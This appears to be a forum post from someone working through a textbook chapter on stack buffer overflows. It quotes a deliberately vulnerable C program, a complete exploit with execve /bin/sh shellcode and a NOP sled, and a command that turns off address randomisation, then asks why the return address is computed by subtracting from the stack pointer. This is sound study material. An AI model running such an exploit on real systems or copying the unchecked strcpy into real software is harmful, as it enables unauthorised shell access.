Heya.. I located a book called "Hacking - The art of Exploitation" and somewhere into chapter 2 he flips me off because I just can't seem to understand his technique.. Here's his example code:
vuln.c
Code:
int main(int argc, char *argv[])
{
   char buffer[500];
   strcpy(buffer, argv[1]);
   return 0;
}
exploit.c
Code:
#include <stdlib.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)         // This is just a little function
{ __asm__("movl %esp, %eax");} // used to return the stack pointer

int main(int argc, char *argv[])
{
   int i, offset;
   long esp, ret, *addr_ptr;
   char *buffer, *ptr;

   offset = 0;            // Use an offset of 0
   esp = sp();            // Put the current stack pointer into esp
   ret = esp - offset;    // We want to overwrite the ret address

printf("Stack pointer (ESP) : 0x%x\n", esp);
printf("    Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);

// Allocate 600 bytes for buffer (on the heap)
 buffer = malloc(600);

// Fill the entire buffer with the desired ret address
 ptr = buffer;
 addr_ptr = (long *) ptr;
 for(i=0; i < 600; i+=4)
 { *(addr_ptr++) = ret; }

// Fill the first 200 bytes of the buffer with NOP instructions
 for(i=0; i < 200; i++)
 { buffer[i] = '\x90'; }

// Put the shellcode after the NOP sled
 ptr = buffer + 200;
 for(i=0; i < strlen(shellcode); i++)
 { *(ptr++) = shellcode[i]; }

// End the string
 buffer[600-1] = 0;

// Now call the program ./vuln with our crafted buffer as its argument
 execl("./vuln", "vuln", buffer, 0);

// Free the buffer memory
 free(buffer);

   return 0;
}
One needs to disable the inherent buffer overflow protection of the 2.6 kernel :
Code:
echo 0 > /proc/sys/kernel/randomize_va_space
Provided this is done.. Simple buffer overflows like this one should work (the protection is circumventable I hear)

Anyway.. A stack representation should be:
ESP
-------------------------------------------- Low memory addresses
buffer
SFP (stack/saved frame pointer)
ret (return address)
argc
argv
-------------------------------------------- High memory addresses
EBP

Ok.. so the stack grows upward towards lower memory addresses.. But his way of finding the correct return
adress is to use the ESP/SP and *subtract* that value with an offset (in this case 0)..

Now.. I don't understand why he'd subtract from the ESP meaning he should end up in an even lower memory address which won't be the address of the buffer

... Modifying the vuln.c code to
vuln.c
Code:
int main(int argc, char *argv[])
{
   long HugeRoadblock[500];
   char buffer[500];
   strcpy(buffer, argv[1]);
   return 0;
}
Should give a stack of:
ESP
-------------------------------------------- Low memory addresses
buffer
HugeRoadblock
SFP (stack/saved frame pointer)
ret (return address)
argc
argv
-------------------------------------------- High memory addresses
EBP

And results in the code not being able to run

So.. could somebody tell me exactly HOW it makes sense to subtract and offset from the SP to reach the address of the buffer ? I would have thought that you needed to *add* bytes.

Please help.. I'm really confused which probably shows in my post